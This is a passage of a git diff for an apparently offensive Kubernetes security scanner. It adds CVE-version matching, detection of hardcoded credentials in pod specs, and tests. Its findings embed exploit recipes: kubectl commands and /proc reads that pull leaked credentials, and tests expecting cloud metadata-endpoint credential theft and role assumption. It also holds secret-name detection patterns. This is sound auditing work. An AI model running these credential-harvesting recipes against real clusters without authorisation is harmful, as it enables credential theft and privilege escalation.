component: + continue + if component.startswith("runtime:"): + want = component.split(":", 1)[1] + if runtime_name and runtime_name != want: + continue + try: + if entry.predicate(version): + out.append(_emit(entry, version, resource, version_str)) + except Exception: + continue + return out + + +def scan_cve(server_version: Optional[str] = None, + nodes=None, + ingress_images=None) -> List[Finding]: + """Correlate running versions against the CVE knowledge base. + + server_version : apiserver gitVersion string (e.g. 'v1.27.3') + nodes : node objects with .status.node_info.* + ingress_images : iterable of (image_ref, resource_str) for ingress-nginx controllers + """ + findings: List[Finding] = [] + + # apiserver / kubernetes + if server_version: + sv = V.parse_version(server_version) + findings.extend(_match_component("kubernetes", sv, "cluster/apiserver", server_version)) + + # per-node kubelet / runtime / kernel + for n in (nodes or []): + ninfo = getattr(getattr(n, "status", None), "node_info", None) + node_name = getattr(getattr(n, "metadata", None), "name", "?") + if not ninfo: + continue + kubelet = getattr(ninfo, "kubelet_version", None) + runtime = getattr(ninfo, "container_runtime_version", None) + kernel = getattr(ninfo, "kernel_version", None) + + kv = V.parse_version(kubelet) + findings.extend(_match_component("kubernetes", kv, f"node/{node_name} (kubelet)", kubelet or "?")) + + rt_name, rt_ver = V.parse_runtime(runtime) + if rt_name and rt_ver: + findings.extend(_match_component(f"runtime:{rt_name}", rt_ver, + f"node/{node_name} ({rt_name})", runtime, runtime_name=rt_name)) + + kern = V.parse_version(kernel) + findings.extend(_match_component("kernel", kern, f"node/{node_name} (kernel)", kernel or "?")) + + # ingress-nginx controller images + for image, resource in (ingress_images or []): + _repo, ver = V.parse_image_tag(image) + if ver: + findings.extend(_match_component("ingress-nginx", ver, resource, image)) + + # De-dupe identical (id, resource) pairs + seen = set() + deduped = [] + for f in findings: + key = (f.id, f.resource) + if key in seen: + continue + seen.add(key) + deduped.append(f) + return deduped + + +def find_ingress_images(pods, deployments) -> List[Tuple[str, str]]: + """Heuristically locate ingress-nginx controller images for CVE matching.""" + out: List[Tuple[str, str]] = [] + + def _scan_containers(spec, resource): + for c in (getattr(spec, "containers", None) or []): + img = getattr(c, "image", None) or "" + if "ingress-nginx" in img or "ingress-nginx/controller" in img: + out.append((img, resource)) + + for p in (pods or []): + spec = getattr(p, "spec", None) + if spec: + _scan_containers(spec, f"pod/{getattr(p.metadata, 'name', '?')}") + for d in (deployments or []): + spec = getattr(d, "spec", None) + tmpl = getattr(spec, "template", None) if spec else None + tspec = getattr(tmpl, "spec", None) if tmpl else None + if tspec: + _scan_containers(tspec, f"deployment/{getattr(d.metadata, 'name', '?')}") + return out diff --git a/kuberoast/scanners/podsecrets.py b/kuberoast/scanners/podsecrets.py new file mode 100644 index 0000000..55018f3 --- /dev/null +++ b/kuberoast/scanners/podsecrets.py @@ -0,0 +1,137 @@ +"""Hardcoded credentials in pod specs (env vars, args, command). + +Credentials in `ConfigMap` get hunted by configmaps.py. But the most +common leak is even more direct: literal `env.value` entries and +command-line args baked into the pod spec. These show up in `kubectl get +pod -o yaml`, in the API to anyone with pod read, and in etcd. We reuse +the same high-signal patterns plus env-name heuristics. + +A correctly-built pod references secrets via `env.valueFrom.secretKeyRef` +(no literal value) — those we never flag. +""" +import re +from typing import List +from .shared import iter_containers +from .configmaps import CREDENTIAL_PATTERNS +from ..utils.findings import Finding + +# Env var NAMES that strongly imply a secret value when set literally. +SENSITIVE_ENV_NAME = re.compile( + r"(?i)(password|passwd|pwd|secret|token|api[_-]?key|access[_-]?key|" + r"private[_-]?key|credential|aws_secret|client[_-]?secret|" + r"db[_-]?pass|database[_-]?url|conn(ection)?[_-]?string|bearer)" +) + +# Env names that look sensitive but are usually benign references/paths. +BENIGN_ENV_VALUE = re.compile(r"(?i)^(/|file:|\$\(|/var/run/secrets)") + + +def _redact(s: str) -> str: + if len(s) > 60: + return s[:30] + "…(truncated)" + if len(s) > 12: + return s[:6] + "…" + s[-4:] + return s + + +def _check_literal(name: str, value: str, container: str, pod) -> List[Finding]: + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}::{container}" + if not value or BENIGN_ENV_VALUE.match(value.strip()): + return findings + + # 1. High-signal credential pattern match in the value + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(value) + if m: + findings.append(Finding( + id=f"ENV-LEAK-{pat_id.upper()}", + title=f"Credential in pod env: {label}", + description=( + f"Container {container} sets env '{name}' to a literal value matching {label} " + f"(redacted: {_redact(m.group(0))}). Visible to anyone with pod read on {ns}." + ), + severity=sev, + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[?(@.name==\"{container}\")].env}}'", + impact="Credential exposed in pod spec / etcd to any principal with pod read. Treat as compromised; rotate.", + attack_techniques=["T1552.001"], + remediation="Move to a Secret and reference via env.valueFrom.secretKeyRef, or use a CSI secret driver. Rotate the leaked value.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/", "https://attack.mitre.org/techniques/T1552/001/"], + )) + return findings # one finding per env entry + + # 2. Sensitive NAME with a non-trivial literal value (catches custom creds) + if SENSITIVE_ENV_NAME.search(name) and len(value) >= 6: + findings.append(Finding( + id="ENV-LEAK-NAMED", + title="Likely hardcoded credential in pod env", + description=( + f"Container {container} sets env '{name}' to a literal value (redacted: {_redact(value)}). " + "The variable name implies a credential; it should be a secretKeyRef, not an inline value." + ), + severity="medium", + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o yaml | grep -A1 {name}", + impact="Probable credential readable by anyone with pod read access.", + attack_techniques=["T1552.001"], + remediation="Reference the value via env.valueFrom.secretKeyRef and store it in a Secret.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings + + +def _check_args(container, pod) -> List[Finding]: + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}::{container.name}" + parts = list(getattr(container, "command", None) or []) + list(getattr(container, "args", None) or []) + if not parts: + return findings + joined = " ".join(str(p) for p in parts) + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(joined) + if m: + findings.append(Finding( + id=f"ARG-LEAK-{pat_id.upper()}", + title=f"Credential in pod command/args: {label}", + description=( + f"Container {container.name} passes a {label} on its command line " + f"(redacted: {_redact(m.group(0))}). Command lines are world-visible inside the pod (/proc) " + "and in the pod spec." + ), + severity=sev, + category="Secrets", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[*].args}}' # or read /proc/1/cmdline in-container", + impact="Credential exposed on the process command line — readable via /proc by any process in the container and in the pod spec.", + attack_techniques=["T1552.001"], + remediation="Pass secrets via env.valueFrom.secretKeyRef or mounted files, never on the command line.", + references=["https://kubernetes.io/docs/concepts/configuration/secret/"], + )) + return findings + return findings + + +def scan_pod_credentials(pod) -> List[Finding]: + findings: List[Finding] = [] + for c, _name in iter_containers(pod): + for e in (getattr(c, "env", None) or []): + ename = getattr(e, "name", None) + evalue = getattr(e, "value", None) + # valueFrom (secretKeyRef/configMapKeyRef) has no literal value → safe + if ename and isinstance(evalue, str): + findings.extend(_check_literal(ename, evalue, c.name, pod)) + findings.extend(_check_args(c, pod)) + return findings diff --git a/kuberoast/utils/findings.py b/kuberoast/utils/findings.py index f433070..74ac350 100644 --- a/kuberoast/utils/findings.py +++ b/kuberoast/utils/findings.py @@ -21,3 +21,19 @@ class Finding(BaseModel): exploit: Optional[str] = None impact: Optional[str] = None attack_techniques: List[str] = Field(default_factory=list) + + +# Findings that are defense-in-depth / compliance hygiene rather than a +# concrete attacker primitive. Hidden by default; surfaced with +# --include-hygiene. The goal is signal: an operator triaging a cluster +# wants escape primitives and escalation chains up top, not "this pod has +# no CPU limit" buried among them. +HYGIENE_FINDING_IDS = { + "POD-NO-LIMITS", # reliability, not security + "POD-NO-APPARMOR", # fires on ~every pod; low standalone signal + "POD-NO-SECCOMP", # fires on ~every pod; low standalone signal + "POD-SATOKEN", # default behaviour on ~every pod + "SECRET-TLS-MANUAL", # cert lifecycle hygiene + "POLICY-NONE", # "you should install Kyverno" — context, not a finding + "PSS-NOT-ENFORCED", # defense-in-depth label hygiene +} diff --git a/kuberoast/utils/kube.py b/kuberoast/utils/kube.py index f7437f9..f37165e 100644 --- a/kuberoast/utils/kube.py +++ b/kuberoast/utils/kube.py @@ -160,6 +160,33 @@ def list_all_cronjobs(batch, namespace: Optional[str] = None) -> List: return _safe_list(batch.list_cron_job_for_all_namespaces, "cronjobs") +def list_all_service_accounts(core, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(core.list_namespaced_service_account, "serviceaccounts", namespace=namespace) + return _safe_list(core.list_service_account_for_all_namespaces, "serviceaccounts") + + +def list_all_network_policies(networking, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(networking.list_namespaced_network_policy, "networkpolicies", namespace=namespace) + return _safe_list(networking.list_network_policy_for_all_namespaces, "networkpolicies") + + +def get_server_version(version_api) -> Optional[str]: + """Return the apiserver gitVersion string (e.g. 'v1.27.3'), or None.""" + try: + info = version_api.get_code() + return getattr(info, "git_version", None) + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to read server version (HTTP %d)", e.status) + return None + raise + except Exception as e: + logger.warning("Could not read server version: %s", e) + return None + + def list_validating_webhooks(admission) -> List: try: return admission.list_validating_webhook_configuration().items or [] diff --git a/kuberoast/utils/versions.py b/kuberoast/utils/versions.py new file mode 100644 index 0000000..bda6fed --- /dev/null +++ b/kuberoast/utils/versions.py @@ -0,0 +1,88 @@ +"""Lightweight version parsing for CVE correlation. + +We deliberately avoid a packaging dependency. Kubernetes-world version +strings come in a few shapes: + + * "v1.27.3" (kubelet / apiserver gitVersion) + * "v1.27.3-eks-a5565ad" (managed distro suffix) + * "containerd://1.6.21" (container runtime) + * "docker://20.10.7" (container runtime) + * "cri-o://1.26.3" (container runtime) + * "5.15.0-1031-aws" (kernel) + * "registry.k8s.io/ingress-nginx/controller:v1.9.4" (image ref) + +`parse_version` extracts a comparable (major, minor, patch) tuple and is +tolerant of junk. `lt` / `lte` compare two such tuples. +""" +import re +from typing import Optional, Tuple + +Version = Tuple[int, int, int] + +_VER_RE = re.compile(r"(\d+)\.(\d+)(?:\.(\d+))?") + + +def parse_version(s: Optional[str]) -> Optional[Version]: + """Pull the first major.minor[.patch] out of an arbitrary string.""" + if not s: + return None + m = _VER_RE.search(s) + if not m: + return None + major = int(m.group(1)) + minor = int(m.group(2)) + patch = int(m.group(3)) if m.group(3) else 0 + return (major, minor, patch) + + +def parse_runtime(s: Optional[str]) -> Tuple[Optional[str], Optional[Version]]: + """Split 'containerd://1.6.21' → ('containerd', (1,6,21)).""" + if not s: + return None, None + if "://" in s: + name, _, ver = s.partition("://") + return name.lower(), parse_version(ver) + return None, parse_version(s) + + +def parse_image_tag(image: Optional[str]) -> Tuple[Optional[str], Optional[Version]]: + """Split an image ref into (repo_path, version_from_tag). + + 'registry.k8s.io/ingress-nginx/controller:v1.9.4' → ('registry.k8s.io/ingress-nginx/controller', (1,9,4)) + Digest-only refs return (repo, None). + """ + if not image: + return None, None + # strip digest + repo_tag = image.split("@", 1)[0] + # tag is after the LAST colon, but only if that segment has no '/' + if ":" in repo_tag: + repo, _, tag = repo_tag.rpartition(":") + if "/" in tag: # the colon belonged to a port, not a tag + return repo_tag, None + return repo, parse_version(tag) + return repo_tag, None + + +def lt(a: Optional[Version], b: Version) -> bool: + """a < b (a None → False, can't conclude vulnerable).""" + if a is None: + return False + return a < b + + +def lte(a: Optional[Version], b: Version) -> bool: + if a is None: + return False + return a <= b + + +def in_range(a: Optional[Version], lo: Optional[Version], hi: Optional[Version]) -> bool: + """lo <= a < hi, with None bounds open.""" + if a is None: + return False + if lo is not None and a < lo: + return False + if hi is not None and a >= hi: + return False + return True diff --git a/pyproject.toml b/pyproject.toml index 6caf72b..217d1f0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "kuberoast" -version = "0.3.0" +version = "0.4.0" description = "Offensive Kubernetes misconfiguration & attack-path scanner" readme = "README.md" license = {text = "MIT"} diff --git a/tests/conftest.py b/tests/conftest.py index c667510..ec81313 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -17,10 +17,14 @@ def make_metadata(name="test", namespace="default", labels=None, annotations=Non ) +def make_env(name, value=None, value_from=None): + return SimpleNamespace(name=name, value=value, value_from=value_from) + + def make_container(name="app", privileged=False, run_as_user=None, allow_privilege_escalation=None, read_only_root_filesystem=None, caps_add=None, seccomp_profile=None, limits=None, - volume_mounts=None): + volume_mounts=None, env=None, command=None, args=None, image=None): capabilities = SimpleNamespace(add=caps_add or [], drop=[]) if caps_add else SimpleNamespace(add=[], drop=[]) resources = SimpleNamespace(limits=limits, requests=None) if limits else SimpleNamespace(limits=None, requests=None) sc = SimpleNamespace( @@ -36,6 +40,10 @@ def make_container(name="app", privileged=False, run_as_user=None, security_context=sc, resources=resources, volume_mounts=volume_mounts or [], + env=env or [], + command=command or [], + args=args or [], + image=image, ) @@ -164,12 +172,43 @@ def make_ingress(name="my-ing", namespace="default", tls=None, rules=None): ) -def make_node(name="node-1", addresses=None): +def make_node(name="node-1", addresses=None, provider_id=None, labels=None, + kubelet_version=None, container_runtime_version=None, kernel_version=None, + os_image=None): if addresses is None: addresses = [SimpleNamespace(type="InternalIP", address="10.0.0.1")] + node_info = SimpleNamespace( + kubelet_version=kubelet_version, + container_runtime_version=container_runtime_version, + kernel_version=kernel_version, + os_image=os_image, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, labels=labels), + spec=SimpleNamespace(provider_id=provider_id), + status=SimpleNamespace(addresses=addresses, node_info=node_info), + ) + + +def make_service_account(name="my-sa", namespace="default", annotations=None, labels=None): return SimpleNamespace( - metadata=make_metadata(name=name), - status=SimpleNamespace(addresses=addresses), + metadata=make_metadata(name=name, namespace=namespace, + annotations=annotations, labels=labels), + ) + + +def make_network_policy(name="np", namespace="default", policy_types=None, + select_all=True, match_labels=None): + pod_selector = SimpleNamespace( + match_labels=match_labels if not select_all else None, + match_expressions=None, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace( + policy_types=policy_types or [], + pod_selector=pod_selector, + ), ) diff --git a/tests/test_cli.py b/tests/test_cli.py new file mode 100644 index 0000000..c02e8b5 --- /dev/null +++ b/tests/test_cli.py @@ -0,0 +1,85 @@ +"""CLI-level tests: hygiene gating, exit codes, manifest orchestration.""" +import json + +import pytest + +from kuberoast.cli import main +from kuberoast.utils.findings import HYGIENE_FINDING_IDS + + +PRIVILEGED_POD = """\ +apiVersion: v1 +kind: Pod +metadata: + name: bad + namespace: prod +spec: + containers: + - name: c + image: app:latest + securityContext: + privileged: true +""" + + +def _write(tmp_path, text, name="m.yaml"): + f = tmp_path / name + f.write_text(text) + return str(tmp_path) + + +def test_hygiene_hidden_by_default(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + rc = main(["--manifests", path, "--report", "json", "--no-color"]) + out = capsys.readouterr().out + data = json.loads(out) + ids = {f["id"] for f in data} + # The escape finding must be present... + assert "ESC-PRIV" in ids + # ...but hygiene lint must be filtered out by default. + assert ids.isdisjoint(HYGIENE_FINDING_IDS) + assert rc == 0 + + +def test_hygiene_included_with_flag(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + main(["--manifests", path, "--report", "json", "--no-color", "--include-hygiene"]) + out = capsys.readouterr().out + data = json.loads(out) + ids = {f["id"] for f in data} + # With the flag, at least one hygiene finding should reappear. + assert ids & HYGIENE_FINDING_IDS + + +def test_fail_on_critical_returns_1(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + rc = main(["--manifests", path, "--report", "json", "--fail-on", "critical", "--no-color"]) + capsys.readouterr() + assert rc == 1 + + +def test_min_exploitability_filters(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + main(["--manifests", path, "--report", "json", "--min-exploitability", "trivial", "--no-color"]) + out = capsys.readouterr().out + data = json.loads(out) + # Every surviving finding must be 'trivial' + assert data # privileged escape is trivial, so something survives + assert all(f.get("exploitability") == "trivial" for f in data) + + +def test_version_flag(capsys): + with pytest.raises(SystemExit) as e: + main(["--version"]) + assert e.value.code == 0 + out = capsys.readouterr().out + assert "kuberoast" in out + + +def test_html_requires_out(capsys): + rc = main(["--manifests", "/nonexistent", "--report", "html"]) + assert rc == 2 diff --git a/tests/test_cloud.py b/tests/test_cloud.py new file mode 100644 index 0000000..4381823 --- /dev/null +++ b/tests/test_cloud.py @@ -0,0 +1,115 @@ +"""Tests for cloud-account pivot analysis (IMDS + workload identity).""" +from kuberoast.scanners.cloud import scan_cloud_pivots, _detect_provider +from tests.conftest import ( + make_node, make_service_account, make_network_policy, make_namespace, +) + + +# ---------- provider detection ---------- + +def test_detect_aws_from_provider_id(): + node = make_node(provider_id="aws:///us-east-1a/i-0abc123") + assert _detect_provider([node]) == "aws" + + +def test_detect_gcp_from_provider_id(): + node = make_node(provider_id="gce://my-project/us-central1-a/gke-node") + assert _detect_provider([node]) == "gcp" + + +def test_detect_azure_from_provider_id(): + node = make_node(provider_id="azure:///subscriptions/x/resourceGroups/y/providers/Microsoft.Compute/virtualMachines/z") + assert _detect_provider([node]) == "azure" + + +def test_detect_provider_none_when_unknown(): + node = make_node(provider_id=None, labels={}) + assert _detect_provider([node]) is None + + +# ---------- IMDS reachability ---------- + +def test_imds_reachable_when_no_egress_policy(): + nodes = [make_node(provider_id="aws:///us-east-1a/i-0abc")] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE") + assert f.severity == "high" + assert "169.254.169.254" in (f.exploit or "") + assert "security-credentials" in (f.exploit or "") # AWS-specific recipe + assert "T1552.005" in f.attack_techniques + + +def test_imds_recipe_is_provider_specific_gcp(): + nodes = [make_node(provider_id="gce://proj/zone/node")] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE") + assert "Metadata-Flavor: Google" in (f.exploit or "") + + +def test_imds_not_flagged_when_provider_unknown(): + """No provider detected → we can't assert IMDS reachability, so stay quiet.""" + nodes = [make_node(provider_id=None, labels={})] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +def test_imds_suppressed_when_default_deny_egress_everywhere(): + """A select-all egress NetworkPolicy in the namespace suppresses the IMDS finding for it.""" + nodes = [make_node(provider_id="aws:///z/i-0")] + ns = [make_namespace(name="prod")] + np = make_network_policy(name="default-deny-egress", namespace="prod", + policy_types=["Egress"], select_all=True) + findings = scan_cloud_pivots(nodes, [], [np], ns) + assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +def test_imds_still_flagged_when_only_ingress_policy(): + """An ingress-only policy doesn't constrain egress → IMDS still reachable.""" + nodes = [make_node(provider_id="aws:///z/i-0")] + ns = [make_namespace(name="prod")] + np = make_network_policy(name="deny-ingress", namespace="prod", + policy_types=["Ingress"], select_all=True) + findings = scan_cloud_pivots(nodes, [], [np], ns) + assert [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +# ---------- workload identity federation ---------- + +def test_irsa_annotation_flagged(): + sa = make_service_account(name="app", namespace="prod", + annotations={"eks.amazonaws.com/role-arn": "arn:aws:iam::111122223333:role/app-role"}) + findings = scan_cloud_pivots([], [sa], [], []) + f = next(f for f in findings if f.id == "CLOUD-IRSA") + assert "arn:aws:iam::111122223333:role/app-role" in f.description + assert "assume-role-with-web-identity" in (f.exploit or "") + + +def test_gke_workload_identity_flagged(): + sa = make_service_account(name="app", namespace="prod", + annotations={"iam.gke.io/gcp-service-account": "app@proj.iam.gserviceaccount.com"}) + findings = scan_cloud_pivots([], [sa], [], []) + f = next(f for f in findings if f.id == "CLOUD-GKE-WI") + assert "app@proj.iam.gserviceaccount.com" in f.description + + +def test_azure_workload_identity_via_annotation(): + sa = make_service_account(name="app", namespace="prod", + annotations={"azure.workload.identity/client-id": "00000000-0000-0000-0000-000000000000"}) + findings = scan_cloud_pivots([], [sa], [], []) + assert [f for f in findings if f.id == "CLOUD-AZURE-WI"] + + +def test_azure_workload_identity_via_label(): + sa = make_service_account(name="app", namespace="prod", + labels={"azure.workload.identity/use": "true"}) + findings = scan_cloud_pivots([], [sa], [], []) + assert [f for f in findings if f.id == "CLOUD-AZURE-WI"] + + +def test_plain_serviceaccount_not_flagged(): + sa = make_service_account(name="boring", namespace="prod") + findings = scan_cloud_pivots([], [sa], [], []) + assert findings == [] diff --git a/tests/test_cve.py b/tests/test_cve.py new file mode 100644 index 0000000..1d18e7c --- /dev/null +++ b/tests/test_cve.py @@ -0,0 +1,169 @@ +"""Tests for version→CVE correlation.""" +from kuberoast.scanners.cve import scan_cve, find_ingress_images +from kuberoast.utils import versions as V +from tests.conftest import make_node, make_pod, make_container, make_deployment + + +# ---------- version parsing ---------- + +def test_parse_plain_version(): + assert V.parse_version("v1.27.3") == (1, 27, 3) + + +def test_parse_version_with_distro_suffix(): + assert V.parse_version("v1.27.3-eks-a5565ad") == (1, 27, 3) + + +def test_parse_runtime(): + assert V.parse_runtime("containerd://1.6.21") == ("containerd", (1, 6, 21)) + assert V.parse_runtime("docker://20.10.7") == ("docker", (20, 10, 7)) + + +def test_parse_image_tag(): + repo, ver = V.parse_image_tag("registry.k8s.io/ingress-nginx/controller:v1.9.4") + assert ver == (1, 9, 4) + + +def test_parse_image_tag_with_port_no_tag(): + repo, ver = V.parse_image_tag("myregistry:5000/foo/bar") + assert ver is None + + +def test_parse_image_digest_only(): + repo, ver = V.parse_image_tag("foo/bar@sha256:abcd") + assert ver is None + + +# ---------- runc CVEs ---------- + +def test_runc_leaky_vessels_flagged(): + node = make_node(name="n1", container_runtime_version="containerd://1.6.21") + # containerd 1.6.21 bundles runc; we key the runc CVE on runtime:runc, so use a runc runtime string + node_runc = make_node(name="n2", container_runtime_version="runc://1.1.9") + findings = scan_cve(nodes=[node_runc]) + ids = {f.id for f in findings} + assert "CVE-2024-21626" in ids + f = next(f for f in findings if f.id == "CVE-2024-21626") + assert f.severity == "critical" + assert f.metadata.get("version") == "runc://1.1.9" + + +def test_runc_patched_not_flagged(): + node = make_node(name="n", container_runtime_version="runc://1.1.12") + findings = scan_cve(nodes=[node]) + assert "CVE-2024-21626" not in {f.id for f in findings} + + +def test_runc_5736_old_version(): + node = make_node(name="n", container_runtime_version="runc://0.1.1") + findings = scan_cve(nodes=[node]) + assert "CVE-2019-5736" in {f.id for f in findings} + + +# ---------- containerd ---------- + +def test_containerd_shim_cve(): + node = make_node(name="n", container_runtime_version="containerd://1.4.2") + findings = scan_cve(nodes=[node]) + assert "CVE-2020-15257" in {f.id for f in findings} + + +def test_containerd_patched(): + node = make_node(name="n", container_runtime_version="containerd://1.6.21") + findings = scan_cve(nodes=[node]) + assert "CVE-2020-15257" not in {f.id for f in findings} + + +# ---------- kube-apiserver / kubelet ---------- + +def test_apiserver_proxy_cve_old_server(): + findings = scan_cve(server_version="v1.9.0") + f = next(f for f in findings if f.id == "CVE-2018-1002105") + assert f.severity == "critical" + assert f.metadata.get("epss") is not None + + +def test_apiserver_proxy_cve_on_1_11_line(): + findings = scan_cve(server_version="v1.11.2") + assert "CVE-2018-1002105" in {f.id for f in findings} + + +def test_apiserver_proxy_cve_fixed_in_1_12_3(): + findings = scan_cve(server_version="v1.12.3") + assert "CVE-2018-1002105" not in {f.id for f in findings} + + +def test_modern_server_no_apiserver_cve(): + findings = scan_cve(server_version="v1.29.1") + assert "CVE-2018-1002105" not in {f.id for f in findings} + + +def test_subpath_cve_on_old_kubelet(): + node = make_node(name="n", kubelet_version="v1.20.5") + findings = scan_cve(nodes=[node]) + assert "CVE-2021-25741" in {f.id for f in findings} + + +# ---------- kernel (KEV) ---------- + +def test_kernel_fsconfig_kev_flagged(): + node = make_node(name="n", kernel_version="5.15.0-1031-aws") + findings = scan_cve(nodes=[node]) + f = next(f for f in findings if f.id == "CVE-2022-0185") + assert f.metadata.get("kev") == "true" + assert "verify" in (f.description or "").lower() # backport caveat present + + +def test_modern_kernel_no_fsconfig(): + node = make_node(name="n", kernel_version="6.9.0-generic") + findings = scan_cve(nodes=[node]) + assert "CVE-2022-0185" not in {f.id for f in findings} + + +# ---------- ingress-nginx ---------- + +def test_ingress_nightmare_flagged(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.0", "deployment/ingress-nginx-controller")]) + f = next(f for f in findings if f.id == "CVE-2025-1974") + assert f.severity == "critical" + assert "0.91" in f.description or f.metadata.get("epss") + + +def test_ingress_nightmare_patched(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.12.1", "deployment/ic")]) + assert "CVE-2025-1974" not in {f.id for f in findings} + + +def test_ingress_1_11_5_patched(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.5", "deployment/ic")]) + assert "CVE-2025-1974" not in {f.id for f in findings} + + +# ---------- finder + de-dup ---------- + +def test_find_ingress_images_from_pod(): + c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4") + pod = make_pod(name="ingress-nginx-controller-abc", namespace="ingress-nginx", containers=[c]) + images = find_ingress_images([pod], []) + assert images + assert images[0][0].endswith("v1.9.4") + + +def test_find_ingress_images_from_deployment(): + c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4") + template = make_pod(containers=[c]).spec + deploy = make_deployment(name="ingress-nginx-controller", namespace="ingress-nginx", template_spec=template) + images = find_ingress_images([], [deploy]) + assert images + + +def test_no_versions_no_findings(): + assert scan_cve() == [] + + +def test_unaffected_everything_clean(): + node = make_node(name="n", kubelet_version="v1.29.3", + container_runtime_version="containerd://1.7.13", + kernel_version="6.9.1-generic") + findings = scan_cve(server_version="v1.29.3", nodes=[node]) + assert findings == [] diff --git a/tests/test_podsecrets.py b/tests/test_podsecrets.py new file mode 100644 index 0000000..2ecd0da --- /dev/null +++ b/tests/test_podsecrets.py @@ -0,0 +1,75 @@ +"""Tests for hardcoded credentials in pod env / args / command.""" +from kuberoast.scanners.podsecrets import scan_pod_credentials +from tests.conftest import make_pod, make_container, make_env + + +def test_literal_aws_key_in_env(): + c = make_container(env=[make_env("AWS_ACCESS_KEY_ID", value="AKIAIOSFODNN7EXAMPLE")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + + +def test_named_password_env_flagged(): + c = make_container(env=[make_env("DB_PASSWORD", value="sup3rs3cr3tvalue")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED") + assert f.severity == "medium" + + +def test_secret_key_ref_not_flagged(): + """env.valueFrom.secretKeyRef has no literal .value → safe, must not flag.""" + vf = object() # value_from present, value is None + c = make_container(env=[make_env("DB_PASSWORD", value=None, value_from=vf)]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_short_value_not_flagged(): + c = make_container(env=[make_env("PASSWORD", value="abc")]) # below 6-char threshold + pod = make_pod(containers=[c]) + assert not [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED"] + + +def test_path_value_not_flagged(): + """A 'SECRET_PATH'-style env pointing at a file path is benign.""" + c = make_container(env=[make_env("TOKEN_PATH", value="/var/run/secrets/token")]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_benign_env_not_flagged(): + c = make_container(env=[make_env("LOG_LEVEL", value="info"), make_env("PORT", value="8080")]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_github_token_in_args(): + c = make_container(args=["--token", "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ARG-LEAK-GITHUB-PAT") + assert f.severity == "high" + assert "/proc" in (f.impact or "").lower() or "command line" in (f.impact or "").lower() + + +def test_url_with_creds_in_command(): + """High-signal: an http(s) URL with embedded credentials on the command line.""" + c = make_container(command=["/app", "--webhook", "https://admin:hunter2secret@hooks.example.com/x"]) + pod = make_pod(containers=[c]) + ids = {f.id for f in scan_pod_credentials(pod)} + assert "ARG-LEAK-GENERIC-URL" in ids + + +def test_redaction_in_env_finding(): + c = make_container(env=[make_env("GH", value="ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-GITHUB-PAT") + assert "…" in f.description # redacted, not the full token + + +def test_one_finding_per_env_entry(): + c = make_container(env=[make_env("K", value="AKIAIOSFODNN7EXAMPLE")]) + pod = make_pod(containers=[c]) + aws = [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID"] + assert len(aws) == 1 diff --git a/tests/test_tier_zero.py b/tests/test_tier_zero.py new file mode 100644 index 0000000..ab72ff9 --- /dev/null +++ b/tests/test_tier_zero.py @@ -0,0 +1,109 @@ +"""Tests for tier-0 / crown-jewel identification.""" +from kuberoast.attackpaths.tier_zero import analyze_tier_zero +from tests.conftest import ( + make_cluster_role, 